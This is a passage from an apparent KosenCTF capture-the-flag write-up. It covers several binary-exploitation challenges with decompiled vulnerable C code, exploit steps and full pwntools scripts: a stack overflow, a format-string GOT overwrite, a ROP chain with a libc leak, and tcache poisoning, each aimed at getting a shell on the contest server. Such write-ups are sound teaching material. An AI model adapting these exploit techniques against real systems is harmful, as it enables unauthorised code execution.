<span class="mh">0x555555554b2d</span> <span class="o"><</span><span class="n">item_YourGoal</span><span class="o">+</span><span class="mi">23</span><span class="o">>:</span> <span class="n">call</span> <span class="mh">0x5555555549aa</span> <span class="o"><</span><span class="n">dputs</span><span class="o">></span>
<span class="mh">0x555555554b32</span> <span class="o"><</span><span class="n">item_YourGoal</span><span class="o">+</span><span class="mi">28</span><span class="o">>:</span> <span class="n">lea</span> <span class="n">rdi</span><span class="p">,[</span><span class="n">rip</span><span class="o">+</span><span class="mh">0x49a</span><span class="p">]</span> <span class="err">#</span> <span class="mh">0x555555554fd3</span>
<span class="mh">0x555555554b39</span> <span class="o"><</span><span class="n">item_YourGoal</span><span class="o">+</span><span class="mi">35</span><span class="o">>:</span> <span class="n">call</span> <span class="mh">0x555555554820</span> <span class="o"><</span><span class="n">system</span><span class="err">@</span><span class="n">plt</span><span class="o">></span>
<span class="mh">0x555555554b3e</span> <span class="o"><</span><span class="n">item_YourGoal</span><span class="o">+</span><span class="mi">40</span><span class="o">>:</span> <span class="n">nop</span>
<span class="mh">0x555555554b3f</span> <span class="o"><</span><span class="n">item_YourGoal</span><span class="o">+</span><span class="mi">41</span><span class="o">>:</span> <span class="n">pop</span> <span class="n">rbp</span>
<span class="mh">0x555555554b40</span> <span class="o"><</span><span class="n">item_YourGoal</span><span class="o">+</span><span class="mi">42</span><span class="o">>:</span> <span class="n">ret</span>
</code></pre></div></div>
<p>In shop function, we can overwrite money.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">shop</span><span class="p">(</span><span class="n">item_t</span> <span class="o">*</span><span class="n">inventory</span><span class="p">)</span>
<span class="p">{</span>
<span class="kt">char</span> <span class="n">buf</span><span class="p">[</span><span class="n">LEN_NAME</span><span class="p">];</span>
<span class="n">item_t</span> <span class="o">*</span><span class="n">p</span><span class="p">,</span> <span class="o">*</span><span class="n">t</span><span class="p">;</span>
<span class="kt">int</span> <span class="n">money</span> <span class="o">=</span> <span class="mi">100</span><span class="p">;</span>
<span class="cm">/* Show and ask */</span>
<span class="k">for</span><span class="p">(</span><span class="n">p</span> <span class="o">=</span> <span class="n">item</span><span class="p">;</span> <span class="n">p</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">p</span> <span class="o">=</span> <span class="n">p</span><span class="o">-></span><span class="n">next</span><span class="p">)</span> <span class="p">{</span>
<span class="n">printf</span><span class="p">(</span><span class="s">" $%d - %s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">p</span><span class="o">-></span><span class="n">price</span><span class="p">,</span> <span class="n">p</span><span class="o">-></span><span class="n">name</span><span class="p">);</span>
<span class="p">}</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"> "</span><span class="p">);</span>
<span class="n">readline</span><span class="p">(</span><span class="n">buf</span><span class="p">);</span>
<span class="cm">/* Purchase */</span>
<span class="n">t</span> <span class="o">=</span> <span class="n">purchase</span><span class="p">(</span><span class="n">buf</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">t</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">)</span> <span class="p">{</span>
<span class="n">dputs</span><span class="p">(</span><span class="s">"* Just looking?"</span><span class="p">);</span>
<span class="p">}</span> <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="n">money</span> <span class="o">>=</span> <span class="n">t</span><span class="o">-></span><span class="n">price</span><span class="p">)</span> <span class="p">{</span>
<span class="n">money</span> <span class="o">-=</span> <span class="n">t</span><span class="o">-></span><span class="n">price</span><span class="p">;</span>
<span class="n">memcpy</span><span class="p">(</span><span class="n">inventory</span><span class="p">,</span> <span class="n">t</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">item_t</span><span class="p">));</span>
<span class="n">dputs</span><span class="p">(</span><span class="s">"* Thanks for your purchase."</span><span class="p">);</span>
<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
<span class="n">dputs</span><span class="p">(</span><span class="s">"* That's not enough money."</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<ol>
<li>overwrite money > 9999</li>
<li>purchase Hopes</li>
<li>get shell</li>
</ol>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">t</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s">'pwn.kosenctf.com'</span><span class="p">,</span><span class="mi">9004</span><span class="p">)</span>
<span class="c1">#t = process('./chall')
</span>
<span class="n">l</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s">'/lib/x86_64-linux-gnu/libc-2.23.so'</span><span class="p">)</span>
<span class="n">pp</span> <span class="o">=</span> <span class="k">lambda</span> <span class="n">aa</span><span class="p">:</span> <span class="n">log</span><span class="p">.</span><span class="n">info</span><span class="p">(</span><span class="s">"%s : 0x%x"</span> <span class="o">%</span> <span class="p">(</span><span class="n">aa</span><span class="p">,</span><span class="nb">eval</span><span class="p">(</span><span class="n">aa</span><span class="p">)))</span>
<span class="n">go</span> <span class="o">=</span> <span class="k">lambda</span> <span class="n">w</span><span class="p">:</span> <span class="n">t</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">">"</span><span class="p">,</span><span class="nb">str</span><span class="p">(</span><span class="n">w</span><span class="p">))</span>
<span class="n">go2</span> <span class="o">=</span> <span class="k">lambda</span> <span class="n">w</span><span class="p">:</span> <span class="n">t</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">":"</span><span class="p">,</span><span class="nb">str</span><span class="p">(</span><span class="n">w</span><span class="p">))</span>
<span class="n">r</span> <span class="o">=</span> <span class="k">lambda</span> <span class="n">z</span><span class="p">:</span> <span class="n">t</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">z</span><span class="p">))</span>
<span class="n">pause</span><span class="p">()</span>
<span class="n">go</span><span class="p">(</span><span class="s">"Hopes"</span> <span class="o">+</span> <span class="s">"</span><span class="se">\x00</span><span class="s">"</span><span class="o">*</span><span class="mi">3</span> <span class="o">+</span> <span class="s">"a"</span><span class="o">*</span><span class="mi">51</span><span class="p">)</span>
<span class="n">go</span><span class="p">(</span><span class="s">"Y"</span><span class="p">)</span>
<span class="n">t</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>
<p><strong>FLAG</strong> : KosenCTF{th4t5_0v3rfl0w_41n7_17?}</p>
<h2 id="bullsh">Bullsh</h2>
<p>It’s simple shell binary, but it doesn’t have lots of command.</p>
<p>Here is some code for processing commands.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="kr">__fastcall</span> <span class="nf">bullexec</span><span class="p">(</span><span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">a1</span><span class="p">)</span>
<span class="p">{</span>
<span class="kt">char</span> <span class="o">*</span><span class="n">i</span><span class="p">;</span> <span class="c1">// [rsp+18h] [rbp-8h]</span>
<span class="k">for</span> <span class="p">(</span> <span class="n">i</span> <span class="o">=</span> <span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">a1</span><span class="p">;</span> <span class="o">*</span><span class="n">i</span><span class="p">;</span> <span class="o">++</span><span class="n">i</span> <span class="p">)</span>
<span class="p">{</span>
<span class="k">if</span> <span class="p">(</span> <span class="o">*</span><span class="n">i</span> <span class="o">==</span> <span class="mi">10</span> <span class="o">||</span> <span class="o">*</span><span class="n">i</span> <span class="o">==</span> <span class="mi">32</span> <span class="p">)</span>
<span class="p">{</span>
<span class="o">*</span><span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="k">break</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="k">if</span> <span class="p">(</span> <span class="o">!</span><span class="n">strcmp</span><span class="p">(</span><span class="n">a1</span><span class="p">,</span> <span class="s">"ls"</span><span class="p">)</span> <span class="p">)</span>
<span class="k">return</span> <span class="n">system</span><span class="p">(</span><span class="n">a1</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span> <span class="o">!</span><span class="n">strcmp</span><span class="p">(</span><span class="n">a1</span><span class="p">,</span> <span class="s">"exit"</span><span class="p">)</span> <span class="p">)</span>
<span class="n">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
<span class="n">printf</span><span class="p">(</span><span class="n">a1</span><span class="p">);</span> <span class="c1">// <- this!!</span>
<span class="k">return</span> <span class="n">puts</span><span class="p">(</span><span class="s">": No such command"</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<p><code class="language-plaintext highlighter-rouge">printf(a1)</code> is vulnerable to <strong>format string bug</strong>(fsb).</p>
<p>Its very simple fsb problem,so i try to exploit as follows :</p>
<ol>
<li><code class="language-plaintext highlighter-rouge">printf@got</code> overwrite <code class="language-plaintext highlighter-rouge">system</code></li>
<li>get shell</li>
</ol>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">t</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s">'pwn.kosenctf.com'</span><span class="p">,</span><span class="mi">9003</span><span class="p">)</span>
<span class="c1">#t = process('./chall')
</span>
<span class="n">e</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s">'./chall'</span><span class="p">)</span>
<span class="n">l</span> <span class="o">=</span> <span class="n">e</span><span class="p">.</span><span class="n">libc</span>
<span class="n">pp</span> <span class="o">=</span> <span class="k">lambda</span> <span class="n">aa</span><span class="p">:</span> <span class="n">log</span><span class="p">.</span><span class="n">info</span><span class="p">(</span><span class="s">"%s : 0x%x"</span> <span class="o">%</span> <span class="p">(</span><span class="n">aa</span><span class="p">,</span><span class="nb">eval</span><span class="p">(</span><span class="n">aa</span><span class="p">)))</span>
<span class="n">go</span> <span class="o">=</span> <span class="k">lambda</span> <span class="n">w</span><span class="p">:</span> <span class="n">t</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">"$"</span><span class="p">,</span><span class="nb">str</span><span class="p">(</span><span class="n">w</span><span class="p">))</span>
<span class="n">go2</span> <span class="o">=</span> <span class="k">lambda</span> <span class="n">w</span><span class="p">:</span> <span class="n">t</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">":"</span><span class="p">,</span><span class="nb">str</span><span class="p">(</span><span class="n">w</span><span class="p">))</span>
<span class="n">r</span> <span class="o">=</span> <span class="k">lambda</span> <span class="n">z</span><span class="p">:</span> <span class="n">t</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">z</span><span class="p">))</span>
<span class="n">go</span><span class="p">(</span><span class="s">"%25$p"</span><span class="p">)</span> <span class="c1"># 12
</span><span class="n">t</span><span class="p">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
<span class="n">libc</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">t</span><span class="p">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">14</span><span class="p">),</span><span class="mi">16</span><span class="p">)</span> <span class="o">-</span> <span class="n">l</span><span class="p">.</span><span class="n">symbols</span><span class="p">[</span><span class="s">'__libc_start_main'</span><span class="p">]</span> <span class="o">-</span><span class="mh">0xe7</span>
<span class="k">print</span> <span class="nb">hex</span><span class="p">(</span><span class="n">libc</span><span class="p">)</span>
<span class="n">abc</span> <span class="o">=</span> <span class="p">(</span><span class="n">libc</span><span class="o">+</span><span class="n">l</span><span class="p">.</span><span class="n">symbols</span><span class="p">[</span><span class="s">'system'</span><span class="p">]</span> <span class="o">&</span> <span class="mh">0xffffffff</span><span class="p">)</span>
<span class="n">abc2</span> <span class="o">=</span> <span class="n">abc</span> <span class="o">&</span> <span class="mh">0xffff</span>
<span class="n">abc1</span> <span class="o">=</span> <span class="n">abc</span> <span class="o">>></span> <span class="mi">16</span>
<span class="k">if</span> <span class="p">(</span><span class="n">abc1</span> <span class="o">></span> <span class="n">abc2</span><span class="p">):</span>
<span class="n">p</span> <span class="o">=</span> <span class="s">"%"</span> <span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="n">abc2</span><span class="p">)</span> <span class="o">+</span> <span class="s">"c%18$hn"</span> <span class="o">+</span> <span class="s">"%"</span> <span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="n">abc1</span><span class="o">-</span><span class="n">abc2</span><span class="p">)</span> <span class="o">+</span> <span class="s">"c%19$hn"</span>
<span class="n">p</span> <span class="o">+=</span> <span class="s">"a"</span><span class="o">*</span><span class="p">(</span><span class="mi">48</span><span class="o">-</span><span class="nb">len</span><span class="p">(</span><span class="n">p</span><span class="p">))</span>
<span class="n">p</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">e</span><span class="p">.</span><span class="n">got</span><span class="p">[</span><span class="s">'printf'</span><span class="p">])</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="n">e</span><span class="p">.</span><span class="n">got</span><span class="p">[</span><span class="s">'printf'</span><span class="p">]</span><span class="o">+</span><span class="mi">2</span><span class="p">)</span>
<span class="k">else</span> <span class="p">:</span>
<span class="n">p</span> <span class="o">=</span> <span class="s">"%"</span> <span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="n">abc1</span><span class="p">)</span> <span class="o">+</span> <span class="s">"c%18$hn"</span><span class="o">+</span> <span class="s">"%"</span> <span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="n">abc2</span><span class="o">-</span><span class="n">abc1</span><span class="p">)</span> <span class="o">+</span> <span class="s">"c%19$hn"</span>
<span class="n">p</span> <span class="o">+=</span> <span class="s">"a"</span><span class="o">*</span><span class="p">(</span><span class="mi">48</span><span class="o">-</span><span class="nb">len</span><span class="p">(</span><span class="n">p</span><span class="p">))</span>
<span class="n">p</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">e</span><span class="p">.</span><span class="n">got</span><span class="p">[</span><span class="s">'printf'</span><span class="p">]</span><span class="o">+</span><span class="mi">2</span><span class="p">)</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="n">e</span><span class="p">.</span><span class="n">got</span><span class="p">[</span><span class="s">'printf'</span><span class="p">])</span>
<span class="k">print</span> <span class="nb">hex</span><span class="p">(</span><span class="n">abc1</span><span class="p">),</span> <span class="nb">hex</span><span class="p">(</span><span class="n">abc2</span><span class="p">)</span>
<span class="n">pause</span><span class="p">()</span>
<span class="n">go</span><span class="p">(</span><span class="n">p</span><span class="p">)</span>
<span class="n">go</span><span class="p">(</span><span class="s">"sh</span><span class="se">\x00</span><span class="s">"</span><span class="p">)</span>
<span class="n">t</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>
<p><strong>FLAG</strong> : KosenCTF{f0rm4t_str1ng_3xpl01t_0n_x64_1s_l4zy}</p>
<h2 id="stegorop">Stegorop</h2>
<p>This is simple ROP Prob.</p>
<p>It occur overflow to 0x30 bytes, but we can’t return <strong>main</strong> or <strong>start</strong>.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="kr">__cdecl</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">**</span><span class="n">argv</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">**</span><span class="n">envp</span><span class="p">)</span>
<span class="p">{</span>
<span class="n">_QWORD</span> <span class="o">*</span><span class="n">v4</span><span class="p">;</span> <span class="c1">// [rsp+0h] [rbp-80h]</span>
<span class="kt">char</span> <span class="n">buf</span><span class="p">;</span> <span class="c1">// [rsp+10h] [rbp-70h]</span>
<span class="n">setbuf</span><span class="p">(</span><span class="n">stdin</span><span class="p">,</span> <span class="mi">0LL</span><span class="p">);</span>
<span class="n">setbuf</span><span class="p">(</span><span class="n">stdout</span><span class="p">,</span> <span class="mi">0LL</span><span class="p">);</span>
<span class="n">setbuf</span><span class="p">(</span><span class="n">stderr</span><span class="p">,</span> <span class="mi">0LL</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span> <span class="n">lock</span> <span class="p">)</span>
<span class="n">_abort</span><span class="p">(</span><span class="o">*</span><span class="n">argv</span><span class="p">);</span>
<span class="n">puts</span><span class="p">(</span><span class="s">"===== Online Steganography Tool ====="</span><span class="p">);</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"Input: "</span><span class="p">,</span> <span class="mi">0LL</span><span class="p">,</span> <span class="n">argv</span><span class="p">);</span>
<span class="n">read</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="o">&</span><span class="n">buf</span><span class="p">,</span> <span class="mh">0x100uLL</span><span class="p">);</span> <span class="o"><--</span> <span class="n">this</span><span class="o">!!!</span>
<span class="n">stagernography</span><span class="p">(</span><span class="o">&</span><span class="n">buf</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span> <span class="n">lock</span> <span class="p">)</span>
<span class="n">_abort</span><span class="p">(</span><span class="o">*</span><span class="n">v4</span><span class="p">);</span>
<span class="n">lock</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<ol>
<li><code class="language-plaintext highlighter-rouge">RBP</code> set <code class="language-plaintext highlighter-rouge">printf@got+0x70</code></li>
<li>execute <code class="language-plaintext highlighter-rouge">puts(puts_got)</code> for leaking library base address.</li>
<li>return <code class="language-plaintext highlighter-rouge">read(0, &buf, 0x100uLL)</code> for overwrite <code class="language-plaintext highlighter-rouge">printf@got</code></li>
<li><code class="language-plaintext highlighter-rouge">printf@got</code> overwrite <code class="language-plaintext highlighter-rouge">oneshot gadget</code> at <code class="language-plaintext highlighter-rouge">read</code></li>
<li>get shell</li>
</ol>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">t</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s">'pwn.kosenctf.com'</span><span class="p">,</span><span class="mi">9002</span><span class="p">)</span>
<span class="c1">#t = process('./chall')
</span>
<span class="n">e</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s">'./chall'</span><span class="p">)</span>
<span class="n">l</span> <span class="o">=</span> <span class="n">e</span><span class="p">.</span><span class="n">libc</span>
<span class="n">pp</span> <span class="o">=</span> <span class="k">lambda</span> <span class="n">aa</span><span class="p">:</span> <span class="n">log</span><span class="p">.</span><span class="n">info</span><span class="p">(</span><span class="s">"%s : 0x%x"</span> <span class="o">%</span> <span class="p">(</span><span class="n">aa</span><span class="p">,</span><span class="nb">eval</span><span class="p">(</span><span class="n">aa</span><span class="p">)))</span>
<span class="n">go</span> <span class="o">=</span> <span class="k">lambda</span> <span class="n">w</span><span class="p">:</span> <span class="n">t</span><span class="p">.</span><span class="n">sendafter</span><span class="p">(</span><span class="s">":"</span><span class="p">,</span><span class="nb">str</span><span class="p">(</span><span class="n">w</span><span class="p">))</span>
<span class="n">go2</span> <span class="o">=</span> <span class="k">lambda</span> <span class="n">w</span><span class="p">:</span> <span class="n">t</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">":"</span><span class="p">,</span><span class="nb">str</span><span class="p">(</span><span class="n">w</span><span class="p">))</span>
<span class="n">r</span> <span class="o">=</span> <span class="k">lambda</span> <span class="n">z</span><span class="p">:</span> <span class="n">t</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">z</span><span class="p">))</span>
<span class="n">pause</span><span class="p">()</span>
<span class="n">go</span><span class="p">(</span><span class="s">"a"</span><span class="o">*</span><span class="mh">0x70</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="n">e</span><span class="p">.</span><span class="n">got</span><span class="p">[</span><span class="s">'printf'</span><span class="p">]</span><span class="o">+</span><span class="mh">0x70</span><span class="p">)</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x00000000004009b3</span><span class="p">)</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="n">e</span><span class="p">.</span><span class="n">got</span><span class="p">[</span><span class="s">'puts'</span><span class="p">])</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="n">e</span><span class="p">.</span><span class="n">plt</span><span class="p">[</span><span class="s">'puts'</span><span class="p">])</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x00000000004008FE</span><span class="p">))</span>
<span class="n">t</span><span class="p">.</span><span class="n">recvline</span><span class="p">()</span>
<span class="n">libc</span> <span class="o">=</span> <span class="n">u64</span><span class="p">(</span><span class="n">t</span><span class="p">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">6</span><span class="p">).</span><span class="n">ljust</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span><span class="s">'</span><span class="se">\x00</span><span class="s">'</span><span class="p">))</span> <span class="o">-</span> <span class="n">l</span><span class="p">.</span><span class="n">symbols</span><span class="p">[</span><span class="s">'puts'</span><span class="p">]</span>
<span class="n">pp</span><span class="p">(</span><span class="s">'libc'</span><span class="p">)</span>
<span class="n">pause</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
<span class="n">t</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="n">p64</span><span class="p">(</span><span class="n">libc</span> <span class="o">+</span> <span class="mh">0x4f322</span><span class="p">))</span>
<span class="n">t</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>
<p><strong>FLAG</strong> : KosenCTF{r0p_st4g3r_is_piv0t4l}</p>
<h2 id="kitten">Kitten</h2>
<p>This chall is OOB read/write and Tcache poisoning</p>
<p>Here is OOB Read at <code class="language-plaintext highlighter-rouge">feed_kitten</code>:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="nf">feed_kitten</span><span class="p">()</span>
<span class="p">{</span>
<span class="kt">int</span> <span class="n">result</span><span class="p">;</span> <span class="c1">// eax</span>
<span class="kt">int</span> <span class="n">v1</span><span class="p">;</span> <span class="c1">// [rsp+Ch] [rbp-4h]</span>
<span class="n">puts</span><span class="p">(</span><span class="s">"Which one?"</span><span class="p">);</span>
<span class="n">list_kittens</span><span class="p">();</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"> "</span><span class="p">);</span>
<span class="n">v1</span> <span class="o">=</span> <span class="n">readint</span><span class="p">();</span>
<span class="k">if</span> <span class="p">(</span> <span class="n">v1</span> <span class="o">>=</span> <span class="n">count</span> <span class="p">)</span>
<span class="n">result</span> <span class="o">=</span> <span class="n">puts</span><span class="p">(</span><span class="s">"There's no such kitten..."</span><span class="p">);</span>
<span class="k">else</span>
<span class="n">result</span> <span class="o">=</span> <span class="n">printf</span><span class="p">(</span><span class="s">"%s: Meow!</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">ptr</span><span class="p">[</span><span class="n">v1</span><span class="p">]);</span> <span class="o"><-</span> <span class="n">this</span><span class="o">!!!!</span>
<span class="k">return</span> <span class="n">result</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Here is OOB Write at <code class="language-plaintext highlighter-rouge">foster</code>:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="nf">foster</span><span class="p">()</span>
<span class="p">{</span>
<span class="kt">int</span> <span class="n">result</span><span class="p">;</span> <span class="c1">// eax</span>
<span class="kt">int</span> <span class="n">v1</span><span class="p">;</span> <span class="c1">// [rsp+Ch] [rbp-4h]</span>
<span class="n">puts</span><span class="p">(</span><span class="s">"Which one?"</span><span class="p">);</span>
<span class="n">list_kittens</span><span class="p">();</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"> "</span><span class="p">);</span>
<span class="n">v1</span> <span class="o">=</span> <span class="n">readint</span><span class="p">();</span>
<span class="k">if</span> <span class="p">(</span> <span class="n">v1</span> <span class="o">>=</span> <span class="n">count</span> <span class="p">)</span>
<span class="k">return</span> <span class="n">puts</span><span class="p">(</span><span class="s">"There's no such kitten..."</span><span class="p">);</span>
<span class="o">--</span><span class="n">count</span><span class="p">;</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"%s: Meow!</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">ptr</span><span class="p">[</span><span class="n">v1</span><span class="p">]);</span>
<span class="n">free</span><span class="p">(</span><span class="n">ptr</span><span class="p">[</span><span class="n">v1</span><span class="p">]);</span> <span class="o"><--</span> <span class="n">this</span><span class="o">!!!</span>
<span class="n">result</span> <span class="o">=</span> <span class="n">v1</span><span class="p">;</span>
<span class="n">ptr</span><span class="p">[</span><span class="n">v1</span><span class="p">]</span> <span class="o">=</span> <span class="n">ptr</span><span class="p">[</span><span class="n">count</span><span class="p">];</span>
<span class="k">return</span> <span class="n">result</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>In <code class="language-plaintext highlighter-rouge">find_kitten</code>, we can located arbitrary data as name.</p>
<p>Therefore i make fake chunk for <code class="language-plaintext highlighter-rouge">tcache poisoning</code> in bss section</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="nf">find_kitten</span><span class="p">()</span>
<span class="p">{</span>
<span class="kt">int</span> <span class="n">v0</span><span class="p">;</span> <span class="c1">// ST0C_4</span>
<span class="kt">int</span> <span class="n">v1</span><span class="p">;</span> <span class="c1">// ebx</span>
<span class="k">if</span> <span class="p">(</span> <span class="n">count</span> <span class="o">></span> <span class="mi">9</span> <span class="p">)</span>
<span class="k">return</span> <span class="n">puts</span><span class="p">(</span><span class="s">"You have too many kittens to take care of."</span><span class="p">);</span>
<span class="n">puts</span><span class="p">(</span><span class="s">"You found a kitten!"</span><span class="p">);</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"Name: "</span><span class="p">);</span>
<span class="n">v0</span> <span class="o">=</span> <span class="n">readline</span><span class="p">(</span><span class="n">name</span><span class="p">,</span> <span class="mi">127LL</span><span class="p">);</span>
<span class="n">v1</span> <span class="o">=</span> <span class="n">count</span><span class="p">;</span>
<span class="n">ptr</span><span class="p">[</span><span class="n">v1</span><span class="p">]</span> <span class="o">=</span> <span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">malloc</span><span class="p">(</span><span class="n">v0</span><span class="p">);</span>
<span class="n">strcpy</span><span class="p">(</span><span class="n">ptr</span><span class="p">[</span><span class="n">count</span><span class="p">],</span> <span class="n">name</span><span class="p">);</span>
<span class="k">return</span> <span class="n">count</span><span class="o">++</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<ol>
<li>Leak library address using <code class="language-plaintext highlighter-rouge">feed_kitten</code></li>
<li>Free fake chunk in bss section using <code class="language-plaintext highlighter-rouge">foster</code></li>
<li>Tcache bin’s fd overwrite free_hook using <code class="language-plaintext highlighter-rouge">malloc_func</code></li>
<li>After free, get shell</li>
</ol>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">t</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s">'pwn.kosenctf.com'</span><span class="p">,</span><span class="mi">9005</span><span class="p">)</span>
<span class="c1">#t = process('./chall')
</span>
<span class="n">e</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s">'./chall'</span><span class="p">)</span>
<span class="n">l</span> <span class="o">=</span> <span class="n">e</span><span class="p">.</span><span class="n">libc</span>
<span class="n">pp</span> <span class="o">=</span> <span class="k">lambda</span> <span class="n">aa</span><span class="p">:</span> <span class="n">log</span><span class="p">.</span><span class="n">info</span><span class="p">(</span><span class="s">"%s : 0x%x"</span> <span class="o">%</span> <span class="p">(</span><span class="n">aa</span><span class="p">,</span><span class="nb">eval</span><span class="p">(</span><span class="n">aa</span><span class="p">)))</span>
<span class="n">go</span> <span class="o">=</span> <span class="k">lambda</span> <span class="n">w</span><span class="p">:</span> <span class="n">t</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">">"</span><span class="p">,</span><span class="nb">str</span><span class="p">(</span><span class="n">w</span><span class="p">))</span>
<span class="n">go2</span> <span class="o">=</span> <span class="k">lambda</span> <span class="n">w</span><span class="p">:</span> <span class="n">t</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">":"</span><span class="p">,</span><span class="nb">str</span><span class="p">(</span><span class="n">w</span><span class="p">))</span>
<span class="n">r</span> <span class="o">=</span> <span class="k">lambda</span> <span class="n">z</span><span class="p">:</span> <span class="n">t</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">z</span><span class="p">))</span>
<span class="k">def</span> <span class="nf">add</span><span class="p">(</span><span class="n">name</span><span class="p">):</span>
<span class="n">go</span><span class="p">(</span><span class="s">"1"</span><span class="p">)</span>
<span class="n">go2</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">name</span><span class="p">))</span>
